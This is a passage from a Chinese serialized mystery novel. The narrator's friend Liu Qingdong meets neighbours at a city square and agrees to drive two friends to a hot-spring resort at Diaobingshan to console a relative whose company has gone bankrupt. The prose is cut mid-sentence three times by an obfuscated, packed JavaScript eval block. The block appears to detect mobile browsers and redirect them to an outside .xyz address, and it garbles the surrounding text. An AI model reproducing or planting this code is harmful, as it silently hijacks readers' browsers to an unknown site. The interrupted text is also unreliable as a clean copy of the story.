《餐台下的白盘子》 1. 不好回绝的邀请(上) 如有雷同,纯属巧合。 亲爱的朋友们,当您看到封面的书名时,一定大惑不解,是谁把手剌啦?还是往盘子上面投了毒?故弄玄虚,随即不以为然地轻蔑一笑吧? 心想用来吃饭的餐具有啥好写的?国以民为本,民以食为天,食以安为先,盘子!那是一日三餐司空见惯,再普通不过的啦。打开橱柜,不管是大的小的,深的浅的,釉彩的,白瓷的,总会摞着几个吧,它们不过是家家户户都要置备些的生活用品嘛。而我要接下来讲的离奇案件,正是与这些用做盛放菜肴甜点、摔到地上噼啪的盘子息息相关啊。 提起几个月前发生的案件,本应该由把我牵扯进去的那两个好朋友来宣讲。人总是要社交的,在家靠父母,出外靠朋友,谁还没有几个志同道合、谈得来的贴心朋友呢?何况在八百万人口的二线城市里,吃喝拉撒睡都要发生交集。我和他俩是在大连至烟台的渡轮上相识的,至于具体经过请看我的《蓬莱海市》吧。 你们可别小瞧他们两个,其中一位是见多识广的区医院大夫,另一位是治学严谨的初中物理老师,若是他俩来讲,必能讲得绘声绘色,曲尽其妙。毕竟明察秋毫的老师跟受害者是亲戚关系,能言善辩的医生经过医患纠纷的历练,表达能力更趋于条理清晰,伶牙俐齿,容易分析出内在的关联和前因后果。 可他们眼下是力不从心了,这两个勇敢的人儿呀,一个磕伤了胫骨,拄着拐杖在家里潜心休养呢;另一个被打伤了眼睛,而且是两只眼睛,肿得跟水蜜桃儿似的,故此耽搁了半个多月的教学,正急三火四地忙着赶进度呢。所以,人家都没有闲工夫,更没有好心情,只能由我,这个狗肚子里存不住二两香油,乐于把生活的碎片攒积成故事来取悦读者,又偶然参与到事件之中的另两旁人勉为其难喽。 不记得具体的日期了,但可以肯定是八月里的下半旬,一个非常炎热的星期六。骄阳似火,炽风如涛,难耐的高温惹得知了在树干上一个劲儿地抱怨,还不仅是一只两只在唠叨,远远近近似早市出摊的小商小贩,自顾自地叫卖吆喝着,高亢的调门比大南教堂唱诗班的小姑娘、小小子还要响亮。可惜音律过于单调乏味了,反倒更加剧了仲夏给人们带来的烦躁与焦虑。 正因为是酷暑难耐吧,天刚蒙蒙亮,刘庆东便起了床,打算去户外尽情享受朝露微凉的惬意。穿过御泉华庭院区,便来到供人休闲娱乐的大东广场,时间尚早,放眼望去晨练爱好者寥寥无几,想必是饱受了一周的劳碌,大家都赖在被窝里补觉呢。 根据多年来的体会,他认为慢跑是最好的锻炼方式,千步走不如颠一圈,跑完之后周身的血脉活络开了,真气顺着后脊梁“嗖嗖”地往上冒,大有打通大小周天之功效。他在平地里模仿着自由泳划水的姿势,展展臂,踢踢腿,开跑前先要做好热身运动。 恰在这时,身后有人赶上来,“刘老弟,早啊?太阳打西边出来啦,晃常儿你都得七点钟以后来啊,咋睡毛楞啦?” 虽然此时的太阳还没升起来,像出阁的姑娘家躲在东边桦树林的后面,欲遮还羞地撩开昨夜苍穹的幕角,怯生生地投出第一缕鹅黄色的曙光。这一缕明亮太微不足道了,周围绝大部分还处在晦暗的笼罩之下,所有的景物酷似一帧帧色调单一的剪影。 对于近千度近视眼的刘庆东来说,可真是强人所难了,来人的模样长相恍的惚的,唯有天灵盖对微明的反射似戴着盏头灯,铮亮铮亮地泛着光,由此断定是个毛发稀疏的老男人。 见老男人一边说话,一边展开根线绳,熟练地串在两根短杆之上,再绕过个类似小磙子的中间细处,拉扯绳索上下翻花地抖动起来,随着旋转的加速由慢至快,打玩具中发出空幽的嗡嗡声。 这不是老孙头吗?从鼓弄的空竹上便知道是他了,老相识啦。其实他以前不是玩空竹的,而是精通抽陀螺,那技艺如火纯青,不但会横着抽,还会竖着抽,更绝的是能立在头顶抽。听说是祖上传下来的手艺,他爷爷活着的时候有个绰号,北关冰尜孙。前几年怕鞭子发出的动静太响,扰民,广场明令禁止,他便改成耍空竹了。 老孙头强死巴活儿地算是满族人,说不准是几世爷爷入了旗,做了哪位王爷家的包衣奴才,他的大号叫孙东升,这还是上次他跟堂哥打架时才得知的。 “孙哥呀,天太热,睡不着觉啊。趁着太阳没出来,来广场过过风,凉快凉快。” 刘庆东往后退了一步,生怕对方把空竹抛向半空,瞎么呼哧眼地接不住,再砸到自己身上。 老孙头也许是同样担心光线太暗,抛出去失了手,只是一高一低来回盘绕着。他双手不拾闲,眼睛虽然不离空竹,可没耽误唠嗑。 “嗯哪,这伏天真不是人受的,啥也不干还一身汗呢,一天得洗八遍澡。我也是早起来纳凉的,过去太阳不出来,我不出门,阴气重。再说,年岁大了,眼神不济,黑区撩光的看不真楚,再耍到脑瓜子上,那可磕碜啦。”他自嘲地嘿嘿笑着。 “孙哥,你家没安个空调啊?” “安了,眼么前谁家没有空调啊?”老头子索然地摇着头,“空调这东西不能常开,前些日子我哈嘛见地开了一宿,转过天就来病了,浑身焦酸不得劲儿,骨头缝里丝丝冒凉风,脖梗子登硬,好几天才缓过来。” 刘庆东立马做出判断,“对,那是空调病,你被吹着啦。” 他的插话并没有打断对方的思路,老孙头自顾自地往下说,“还是过去的平房住着於卓,冬暖夏凉,天冷了各个烧火炕,窗缝用报纸糊严实喽,屋子里贼暖乎。夏天从压水井里打桶水,倒到大盆里,在日头下晒上,晒得温突突的。扒了衣服,光着膀子,在当院里撒花儿地洗,那水一点儿不拔人。晚上屋子里没过堂风,就到院子里睡,凉席往磨盘上一铺,沏一壶茶,扇着大蒲扇,听着墙根砖缝里传来的蛐蛐儿叫声,望着头顶满天的星星,那心情就是一个字,美;两个字,真毕。有葡萄架的更好了,在你头顶一嘟噜一嘟噜的垂下来,碧绿的像玛瑙,想吃哪串随便揪。” 孙东升沉浸在逝去时光的回味中,也勾起了刘庆东尘封已久的记忆,“我小时候也住过平房,奶奶家就在中捷友谊厂对面的山东院,可惜不是四合院,一趟一趟的房子挨得太近,不能光波出溜地洗澡。现在住楼房了,更别想啦,你睡在楼下小区里,物业也不能让啊。” “物业让也不能那么干呀,不怕野猫、野狗、野鸡脖子咬你呀?”老头子嗤嗤地笑出声,“露胳膊露腿的,那不成真人秀啦?再热也不能干丢人现眼的事儿,前后楼的邻居们不得围观啊,寻思你是精神病呢,传出去好说不好听,让家里人咋出去见人?动迁前也不成,城里的平房就是个大杂院,也没法睡,一边堆着蜂窝煤,一边停着自行车,你再支张折叠床,出来进去的碍事,擎等着找打架嘛。我是说在老家新宾,去我奶奶家,住俺们满族的房子,独门独院,跟你们汉族的四合院还不同,口袋房,万字炕,烟筒立在地面上。院门开在东边,往里走才是影壁。小刘,有机会你一定去住住,住一回就知道它的舒坦了。” 刘庆东听他的推荐,心里立马非常向往,“是嘛?有机会我非得造楞一下,睡睡啥叫万字炕。” “哎呦,你看我这记性脑儿诶,刚发生的事儿,转眼就给忘了。”他好像突然想起了什么,“你那好朋友李大夫还找你呢。” “李玄找我?你咋知道他找我?” 老孙将绳子一抖,将空竹高高抛起,然后又稳稳地接住,这是他今天第一次高抛啊。老眼昏花的人之所以有这个底气,全赖天色逐渐明亮了,玫瑰红色的朝霞已然涂满了半边天空。他的模样清晰起来,白皙的面孔,微黄的头发,头发与刘庆东的很相似,只是有些迫不及待,急着退出历史舞台了。 “他刚才亲口跟我说的,问我这两天见没见到你,他有急事找你帮忙呢。” “他人呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853035|159303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 老头子用目光示意着,“他在那边练单杠呢,李大夫刚来不一会儿,估计不会走的。” 对方说的李大夫是刘庆东的好朋友,在区医院放射科上班,他俩没事经常在一起下象棋。听说人家找他有要紧事,自然得去一问究竟啦。 于是乎,刘庆东告别老孙头,急匆匆向广场的北边赶去。 路过茂密的海棠树丛,上个月还竞相绽放的花朵已经凋零了,粉红色的花瓣撒落一地,树枝上开始结出小小的果实。果实的样子乍一看还以为是山楂呢,不了解底细的极易混淆,若是有园艺常识的热心人会提示的,它们有着显而易见的区别,山楂叶子的形状酷似个“春”字。今天有事儿,等有闲工夫再来观赏海棠果吧,刘庆东大步流星地去找李玄。 “吱吱吱”,打对面开来辆电动轮椅车,车上坐着个戴军帽的老人家,鲐背之年也许是怕风,把自己捂得严严实实的。是寿老爷子,广场里年纪最长的常客,据他自己说今年已经九十四岁啦。 “小刘啊,你带烟了吗?借我一支,我忘带了,明天还你。”老人家用车子堵住刘庆东的去路。 即使有天大的事儿,也得先答对好老寿星啊,人家是长辈嘛。被索要者立刻掏出香烟,殷勤地为其点上火。 老爷子摘掉右手上的线手套,两个指头似躬身的奴仆,毕恭毕敬地夹着烟卷。待将人参烟的尼古丁吸入肺腹中,他的两只混沌的眼睛逐渐有了光泽。 “刘小子啊,你不是得了肺病吗?咋还抽烟呢?身体有病可不能任着性子来啊。” 真是好事不出门,坏事传千里啊,看来自己得肺结节的事儿是路人皆知啦。“那还是前年的事儿呢,右肺上发现个纯毛玻璃结节,当时挺吓人的,差点儿开刀动手术,还怀疑是肺癌呢。后来越长越小,上个月体检说没了,应该是炎症。” “炎症就好,得啥别得病,缺啥别缺钱,有点毛病可不能疑神疑鬼的,自己吓唬自己,有些人不是病死的,而是被吓死的。心宽才能长寿,像我,不娇性,咋都行,看得开,啥也不管,啥也不往心里去,钱财权势都是身外之物,家里油瓶子倒了都不扶,这样才能活得长远。老把自己当成顶梁柱,啥好处都想争,‘爱拼才会赢’挂嘴边的主儿,没有活太大岁数的。这是我的长寿之道。刘小子,你品,你细品,总之那句话,好死不如赖活着,别钻牛角尖。”一通阐述之后,便傲气地深嘬了一口,把烟圈儿吐向半空,望着晃晃悠悠越散越大的圈圈,小脸蜡黄的老人得意地笑了。 老人的观点无法反驳,高寿就是人家的资本,事实胜于雄辩。 “我没事儿,有菩萨保佑我呢。”刘庆东跟老人说笑着,看人家努着嘴,一副不肖一顾的样子,“你还别不信,那年我们单位组织去盖县,爬到望儿山顶,遇见个看相的,号称渤海大仙,她指着我的头顶说观音菩萨就坐在上面,我家三代信佛,那是菩萨时刻保护我呢。大仙还说另一位同事,他被女妖缠身,婚姻不利呢。” “你那位同事后来咋样啦?”老头子就爱听八卦,关心别人家的琐事。 刘庆东颇为惋惜地告诉他,“回去没多久就离了。” 其实老头子早就预料到了结果,他嘿嘿笑着表示有菩萨保佑挺好的,“对啦,刚才看见那个照胸片的啦,他在找你,说是有急事等你帮忙呢。”原来他也遇见了李玄。 刘庆东点头说知道了,便与其道别,要去找医生问有什么事情。 他还没走出多远,便听身后的老人在打电话,“是12345吗?我想向你们市长热线讨个说法呀。我九十四啦,街道每个月派来的义工不认真嘛,玻璃擦得魂儿画儿的,糊弄我这孤老头子,天打五雷轰。先声明啊,我可不是娇性的人。要不,我有个建议,民政局也不用派人来了,把三个小时的服务折合成钱,直接发给我多好,我利手利脚地自己能干家务。对,直接打到我的劳保卡上,姑娘,你看这样成不?” 2. 不好回绝的邀请(下) 单杠设在坡上大加杨树下,双杠的旁边便是,与围着护网的篮球场毗邻。 此时天光大亮,暖融融的太阳不经意间跃上了树梢,似刚过门的新媳妇,红彤彤的脸蛋儿敷上了胭脂花粉,笑盈盈地端详着人间万物,不像起先那么腼腆害羞了。 刘庆东离得再远,也能辨认出好朋友在哪里,他正吊在横梁上前后悠打呢,像件晾晒的连体工装,臃臃肿肿的。这家伙长得魁梧,黑脸膛,大环眼,一部上接鬓发的络腮胡子,让人见了都替他惋惜,若是这大把的毛发长在头顶,那该有多帅气啊。 “李玄,听说你找我啊?”刘庆东快步上前,与正使出吃奶的劲儿做人体向上的朋友打着招呼。 看到来人,医生一下子泄了气,双臂顿时放弃了坚持,像长臂猿般抻长了一大截,他的脸憋得通红,大口喘着粗气,摆出一副心有余而力不足的样子。 医生小心翼翼地单腿跳到地上,像是右脚有伤不大方便,还用手抹了下秃头顶,刘庆东心里好笑,就这么两下能累出汗啦? “坚持了二十个数,抻抻腋下筋,激活长寿泉。刘哥呀,真是年纪大了,身体大不如从前啦。要是在从前,做五十个人体向上不带歇气的,悠几个大回环跟玩儿似的。” 刘庆东笑着揭短道:“吹吧,别人不了解你,我还不知道你那两下子呀?打我认识你那天,你就是一身赘肉,肚子喝得像扣了个锅盖,怀孕五个月的小媳妇也没你显怀。别说练杠子了,劝你跑几圈,你都嫌累得慌。” “没有这么臭白人的啊。你认识我都多大岁数啦,我是说年轻上医专的时候。”李玄为自己的现状辩解着,“我这体格全被射线给毁了,看头发掉的,都快成秃瓢儿了。没完没了地倒班,身子骨都倒虚了。都怨我姐夫,也不知道当初咋想的?非得选这破科,又累又不挣钱。你说我喝大酒,可冤枉死我啦,我喝的可不是一般的白酒,是用好几味中草药泡制的好酒,是我的一位朋友老毕告诉我的祖传秘方。” 看对方得意洋洋的炫耀着,刘庆东却泼去凉水,“真由你的,你还信那些野路子来的偏方,可别喝中毒喽。说真格的,我看你最近红光满面的,是不是人参吃多了,补大发劲儿也不行。两边的头发见少啊,还不如原来泡枸杞的状态好。” 朋友却不认同他,“谁说的?自从喝了药酒,就感到浑身热烘烘的,冬天都不用穿棉裤了,我感到这酒挺不错的。人家老毕是中医世家,他爷、他爸都是当地有名的老中医,耳濡目染,通晓药理。我这二半灿子在人家面前就是个小学生。” 既然人家深信不疑,就没有必要苦口婆心地劝啦。 这时,李玄想起了正事,“刘哥,你咋不接我电话呢?从昨天晚上到今天早上,我打了不下十个,你手机是没电了,还是换号啦?把手机拿出来,看看通讯记录,不会是把我拉黑了吧?” “怎么会呢?我们是好朋友呀,是经历过穿越冒险,命悬一线的好朋友啊,也将是一辈子的朋友嘞。我的电话没带,放家里了。”刘庆东为没及时接收电话而表示歉意。 “怎么不随身携带呢?有啥事儿可咋找你呀?你也不是啥大人物,害怕被恐怖分子、大漂亮吾的窃听跟踪,定点清除啊?哦,是怕嫂子查看你的行踪吧?”李玄开着玩笑,“刘哥,不是我说你,挣那么多钱不花,攒多了看着玩儿啊?来个货币宽松全让你贬值喽。你应该换部新手机呀,华为出新品啦,叫做量子加密手机,采用光子处理器,通过量子交织的光子传递信息,任何窃听者在获取信息时都会改变光子状态,从而被及时发现,那保密性能杠杠的。手机放家里啦,用量子理论观点来看,那可不一定是手机了。” 刘庆东听他说话神经兮兮的,根据以往的经验,这是又沉溺于某个领域,无法自拔了,“不是手机,还能变阿猫阿狗啊?变个田螺姑娘倒不错呢。你最近又迷上啥啦?” “量子力学呀。有可能啊,家里的手机说不定变成了薛定谔的猫。”医生一本正经地解释着,“用量子力学的理论,我们人类看不到的东西都会有波粒二象性,会存在未来改变过去、主观决定客观的现象。比如说太阳悬在天空中,如果人不去看它,说不定它就不在那儿,极有可能是团迷雾。客观不一定是没有意识的,它们能对我们的意识产生反应,或者它们时刻监控着我们,让我们看不到世界的本源,保护着一个不可告人的秘密。” 对于朋友所涉及的量子力学,刘庆东是听说过的,不久前国家还发射了量子卫星墨子号呢,可要究其深层理论,那就一无所知了。 “谁监控我们,是外星人,还是上帝呀?我们是《楚门的世界》里的男主角吗?我可是党员啊,是唯物主义者,坚信物质决定意识,主观怎么能决定客观呢?我也知道些量子力学的观点,这些悖论还引发了爱因斯坦与哥本哈根学派的学术大论战呢。” 李玄断然否定道:“啥悖论?科学家贝尔提出个不等式,由我国的墨子号证实了量子纠缠的存在,说明微观世界的本质远非宏观世界那样充满确定性。” 这家伙又魔怔了,满脑子新奇的量子力学,刘庆东明知道拗不过他,当即转移话题,“我那手机变啥不重要,昨天被小孙女彤彤看动画片摔坏了,拿去维修部一问,人家说没有修的必要啦,我正要重新买一部呢,可你那华为新款我是买不起呀。你打电话找我有事吗?不会是下棋吧。” 刘庆东的询问让医生回到现实中来,“当然是有要紧事啦。棋啥时候都能下,犯不着打好几个电话,一大清早跑来堵你。”他弯腰拿起放在立柱旁的保温壶,还是那个葫芦造型的红色水具,用了好多年了,他拧开盖子喝了一口,“刘哥,你明后天有空吗?上啥班?我想请你辛苦一趟,给我当两天司机,去调兵山赴个约。” “去调兵山?” “是呀,调兵山娘娘坟,打算明天早上去,后天上午回来,不算远,开车一个多小时的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853036|159303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道儿。”李玄抬起右脚示意着,“我的痛风又犯啦,大脚趾头串楞二脚趾罢工了,又肿又痛,这下车是开不了啦,我便想起你能帮忙。” 刘庆东被他的自我调侃弄笑了,“这两天我休息,有空。不瞒你说,我昨天上午刚从调兵山回来。” “咋回事?电厂不是停机了吗?去调兵山出差啦?”医生不解地问。 刘庆东给他解释,“也算是出差吧,最近被领导抓差,派去看护中转煤场了,都去一个来月啦。我们电厂在那里租了块地,储备季节煤,冬季煤价高,提前囤积能省不少钱呢。由运营商用半挂车拉煤,我们轮流去看护验收。去四天,回来休息八天。” “是吗?去当保安啦,一气儿休八天呢。有时间就好,明天九点在我家楼下集合,一起去的还有曹斌两口子。”朋友敲定了时间。 这可令刘庆东大感意外,“咋曹斌也去呀?还两口子,他啥时候结的婚?这么大事儿咋没通知我呢?太不够意思啦!” 对方同样一肚子牢骚,“也没通知我呀!他是去年登记结婚的,新媳妇是他们学校食堂的,他曾经提过的那个。说是新事新办,平时也没随过礼,不想大操大办,就两家人摆了几桌席,同志好友都没请。他那媳妇整天吱咋地,可厉害了,我媳妇那样的十个也干不过她一个。这次去赴约是曹斌表姐让的,他姨家的姐姐。曹斌没车,给我打电话让我送他们过去,听说是去劝解他表弟。” “劝解他表弟?” “嗯,他表弟得了抑郁症,公司破产了,不想活啦,寻死觅活的。他表姐让他过去劝劝,还特意让我也跟着,说我会开导人。我跟你讲啊,得了这抑郁症,失眠睡不好觉,心情低落,思维迟钝,对什么都没兴趣。病人手脚发凉,还抖呢,严重的幻听恐惧,悲观厌世,有的自残自杀。” 原来是这么回事,还以为是去聚会消遣呢,“你和他表姐认识呀?” 李玄不假思索地回答他,“是去年认识的,他表姐夫得了肺癌,来沈阳看病,是我帮着找的人。唉,可惜发现晚了,转过年人就没了。我也没帮上什么大忙。事后他表姐挺感谢我的,老让我去她那度假村玩,我跟她姐弟俩混得挺熟,我喝的药酒还是那里的老毕给的方子呢。” 刘庆东进一步问,“曹斌表弟是开啥公司的?” “开了家运输公司,有三十多辆大车呢,包了个煤场,在市里还有个检车线,买卖好的时候,公司下属五六十号人呢,资产几千万,挺大买卖。”医生的脸上显出羡慕的表情。 刘庆东满口应承下来,说定第二天九点整不见不散。 临分手时,好朋友还自言自语地嘟囔着,“我本想不去来着,我这痛风折磨人啊。可转念一想度假村有温泉,室内室外各种样式,正好泡泡脚。而且老毕是中医世家,借机会让他给瞧瞧,市里的大医院都看遍了,专家教授们也没有根治的法子。兴许老毕有啥偏方呢,俗话说,偏方治大病嘛。” 3. 在北去的路上 一辆黑色的本田思域车刚刚驶过凡河上的大桥,在雾气昭昭的路况下不敢开得过快。今天是阴天,半夜下的雨黎明时分停了,空气中弥漫着浓重的水汽,像一床蓬松的羽绒被积压在广袤的大地上。 车里坐着三个人,医生李玄、司机刘庆东和教初中物理的曹斌。此刻的曹斌情绪低落,在后排弓着身子,蔫头耷脑地听着朋友的数落,活像一只晒干后的大虾米。 “老曹,不是我说你,这事儿你办的不对啊,不怨马丫跟你急眼。”坐在副驾驶座位上的李玄回头瞥了一眼,看教师虚不虚心接受,“人家给爸爸烧三周年,你凑啥热闹?还必须带上你老父亲,分烧纸、元宝多了少了的,跟媳妇斤斤计较,还嫌弃人家文化水平低。就马丫那脾气,不挠你,还留着你呀?” “就是文化水平低,粗俗!泼妇。这娘们不仅挠人,还抠人、扇嘴巴,可狠了,九个手指盖镶的钻,崩掉五个。”曹斌撸起袖子给朋友展示血檩子,然后拉拉着脸没好气地说,“不来就不来,谁稀罕她来是咋地?不来,我还落个耳根子清净,一个学校食堂扒葱的,吭哧瘪肚地也说不出啥来。没深拉浅地掏几句虎嗑儿,再把人家整崩溃喽,反而帮倒忙了。” “可怜价的,下手够重的!再深点儿,都得打破伤风针了。”看到一道道的伤痕,医生也不住地咂舌。 得到朋友的同情让为人师表的老师悲从中来,声音打颤地表白自己,“我是出于孝心嘛,顺带脚给我爸也寄点儿钱去,入伏了,在那边买个空调吾的。可没她那么小心眼的,一大摞子烧纸呀,就给了那么一小挠儿,够干啥地?也就够买把扇子的。都是父亲,一碗水端不平,你说我能不来气吗?当初就不应该娶她,被厨子王胖子甩了,想不开要喝敌敌畏,是我可怜她,安慰她,给她一个温暖的家,可这娘们一点儿不知道感恩啊。” 刘庆东听他的意思,这彪悍的女人的确是他曾经说过的校工,不是跟食堂大师傅好上了吗?哦,那两个人分手啦,他俩结合了。为什么不满手镶钻,是切菜切掉根手指头? 不用他问,医生也感到奇怪,抢先询问怎么是九个钻,留下一个为啥不镶?难道出事故掉了一根指头? “啥呀?老李,你太小瞧人啦。这都是她高攀了呢,我咋能娶个残疾人呢?她原来是每个指头都镶了,可我以为是饭米粒呢,扣去了一颗,不就剩九个了嘛。” 前排的两个人这才恍然大悟,“粘得也太不结实了。”刘庆东随口说道。 “谁知道呢?镶那破玩应,死贵的,好看到哪儿去?”看得出曹斌是满肚子的怨气。 “现在时兴那个,大姑娘、小媳妇都镶,赶时髦嘛,就像过去买羊绒大衣、买貂,满大街都是,可眼下谁还穿那玩应啦?”李玄接着劝他,“得啦,哪有夫妻不吵架的?打两下就打两下吧,大老爷们何必小肚鸡肠呢。你媳妇对你够好的啦,打着灯笼都难找,看你这身行头,跟过去比有天壤之别,以前邋里邋遢的,双排扣的老式西服,平底布鞋,胳膊上还整副套袖,就像博物馆里的老古董。” 李玄说得真对,眼下的曹斌从穿衣打扮上大有改观,时髦的夹克衫、名牌旅游鞋,头发一看就是在发廊剪的,不是道边十块钱一位的那种。眼镜也换了,换成超薄树脂的啦。 开车的刘庆东也在帮腔,“烧纸祭拜就是那么回事儿,一种缅怀亲人的方式,你还当真了。有阴间啊?纸钱真能寄到亡灵的手里呀?什么鬼呀魂呀的,都是封建迷信,亏你还是人民教师呢。八成你是鬼故事听多了吧?” 没想到此言一出,招来两个朋友的激烈驳斥。 “刘哥,此言差矣,人是有魂魄的。科学家做实验证明,人死后重量会轻二十一克,聪明的人会多一点儿,这就是脱离了人体的灵魂。”医生怕说服力不够,又举出另一个例子,“还有濒死的人复活后讲的,他感到自己忽忽悠悠升到半空中,俯视自己的身体躺在床上,家人们围着痛哭流涕,后来又慢慢落了回去,再后来就苏醒了。这就是灵魂出窍啊。” “李玄说的对,在江门地下七百米有个顶级实验室,里面装了四百个高清的摄像头,来捕获中微子,中微子是什么呢?它又叫幽灵粒子,道家叫鬼,俗称阿飘。量子力学提出一种可能,我们的世界是虚拟的,许多大科学家研究来研究去,最后都信神学上帝了,认定科学的尽头是玄学。” 医生接过教师的话茬,“是呀,还得加一句,玄学的尽头又回到科学,是能用科学理论解释的。你知道铁西的鬼楼吧,传得神乎其神的,后来解释说是气体的作用,人睡着睡着就睡迷瞪了,自己走出楼外。” “是气体吗?我可听说是地磁的作用呀。”刘庆东知道艳粉街的那栋楼,他在沈阳工业大学念过函授,两处离得不远。 曹斌好似遇到了敏感话题,他把头探向前排,使劲地筋着鼻子,像是怕自己的鼻梁不够高挺,架在上面的近视镜会出溜下来,“我听表姐说,她们度假村也发生过类似的灵异事件,客人明明睡在万字炕上,等醒来时却发现躺在当院里。起初怀疑是黄皮子闹的妖,后来有人看到长着蓝毛的女鬼,在院子里飘来飘去,还发出瘆人的尖叫声和哭泣声,搞得那几个口袋房都没人敢住啦。” 真是树林子里放屁,凑巧儿了,未提防从迎面飞过来个蓝色的塑料袋,啪地重重拍在挡风玻璃上,随即似有只无形的巨手将其一把扯掉,无情地抛到车子后面去了。这突如其来的意外,吓得听故事略微走神的刘庆东一拘灵。他立刻制止两个朋友再讲下去,一定要保证行车安全啊。 “那边的楼群是铁岭市区了吧?”医生望着远处的城市,向刘庆东寻求证实。 汽车驾驶员肯定地点着头,下意识地瞅了一眼架子上的手机屏幕,那是李玄的手机,用来给他导航指路的,“我们是在铁岭新区的西郊,刚刚过了凡河。这里是凡河新区,老城区在银州,过去是铁岭县。我听同志赵超说过,铁岭有几大怪,开澡堂子的开现代;倒骑驴要比汽车快;警察反比小偷坏;县医院在市里,市医院在市外,他是铁岭人,后来辞职去四川了。”刘庆东把听说的讲给朋友听。 曹斌笑着予以反驳,“刘哥,你说的是哪百年的事儿啦。倒骑驴早就被取缔了,警风也变好啦。打二姨、二姨夫去世后,有几年没从这块儿走啦,我去她们家总走高速,比这边好走,从沈北新区上道,打依牛堡子下道。咦,你们咋没走高速呢?”自从上车后,他便抑郁寡欢,想着自家的烦心事,并未在意出行的路线。 李玄向他解释,“做这么老半天车了,才知道啊?导航报的,高速上有雾关闭了,还是刘哥见多识广,推荐的这条路呢。” 开车人谦虚地说,“我也是最近知道的,去调兵山的大客可以走两条道儿。” “这是老路,没修高速前走这里,前面就是辽河啦。”曹斌对此处还是很熟悉的。 转眼的工夫儿,汽车开进了辽河湿地,虽然没有长江的澎湃浩淼,也没有黄河的气势磅礴,却出彩在水域宽广上,使人以为是个大湖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853037|159303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找不见概念层面上的河道。放眼望去到处是波光粼粼,苇子蒲草丛生,根本看不出水流的走向,一行一行的大树泡在水里,翠绿的灌木丛只露出有限的尖尖角,短腿的、长腿的水禽拍打着翅膀掠过水面。可以肯定,今年防洪的压力挺大呀。 通过河上的大石桥,足足开了二十多分钟,这才抵达彼岸,瞅见农家散居的村落。家家都是整洁的砖瓦房,院子里铺着水泥地面,有的人家盖着牛棚,从里面传出哞哞的叫声,看来此地农民的生活还说得过去。可又不是很完美,房子墙壁上镶着瓷砖,只贴了向阳的南面,其余三面刷着白灰,不知是手头不宽裕,还是全镶浪费没必要,或许是这里固有的民风吧? 汽车行驶在平原与丘陵的交汇处,逐渐多起来的山丘是医巫闾山的余脉。透过车窗望出去,低低缓缓的坡地像海上起伏的波涛,越往北去地势越高,接着便有突兀的高山映入眼帘。大片大片的庄稼地泛着成熟的棕褐色,酷似巨大的红糖松糕点心。高挑的铁塔由远至近,背负着长长的高压线,旷野的风儿为它们哼起号子,让人联想到伏尔加河上的纤夫。而那不远处山岗上的风力发电塔,高扬着旋转的臂膀,在刘庆东眼里像极了挥舞鞭子的坏工头,诶!都是为了生活呀,只是剥削阶层更冷酷无情罢了。 “雾散了,晴天啦。”医生一直在欣赏着沿途的风景。 “是啊,雾是没了,可雨还要下呀。云从东南涨,有雨不过晌。雨可别下了,这边下得挺大呀,苞米地都淹啦。你们发现没?这儿的气温能比沈阳低不少呢。”刘庆东的观察力还是蛮细致的。 物理老师懒遢遢地靠着座背开口道:“过陈平镇了嘛,我听表弟宏刚说过,那里是气候的分水岭,别小看这条辽河啊,河这边下雨,河那边能下雪。他原来是开厢货的,对这条路线很熟啊。” “你表弟是咋发的家?”李玄好奇地问。 曹斌仍然半坐半卧着,不以为然,没有半点儿的羡慕,“他呀,这小子高中都没毕业,游手好闲,全靠有个好姐夫。先到矿里开车,后来煤矿资源枯竭,封井关停了。表姐夫是矿长,正好那年到站退休,便下海经商,承包了那片厂区,建起假日度假村,利用当地的温泉搞旅游业,做得风生水起。给了宏刚一笔钱,先开了检车线,后来这小子贷款办运输公司,干得最鼎盛的时候有半挂车三十多辆呢。可后来他心术不正,往煤里掺炉灰渣子,被甲方发现后解约了,一下子名声扫地,再加上近来经济不景气,生意一落千丈,资不抵债,最后只得倒闭破产啦。这小子生性放荡,私生活不检点,在外面包小姐,被他媳妇抓了个正着,二话不说跟他离了婚。他是钱也没了,家也没了,心灰意冷万念俱焚,他姐怕弟弟想不开寻短见,便给我打电话,让我们来劝解劝解,别让他做傻事。” “不好劝啊,都是自己作的!没有底蕴一夜乍富,从峰巅跌落谷底,从身价千万变成一文不值,要面对现实,重新建立信心振奋起来,谈何容易呀?”李玄感到有难度。 曹斌也认为此行不容乐观,“诶,没办法,受人之邀,又是实在亲戚,不能不来呀。我们就尽人事,听天命吧。” “到竹溪源温泉了,往北拐就是客运新站,直走开到新湖公园再右拐,过南岭转盘,度假村是往大隆矿方向吧?”刘庆东担心跑岔了道儿。 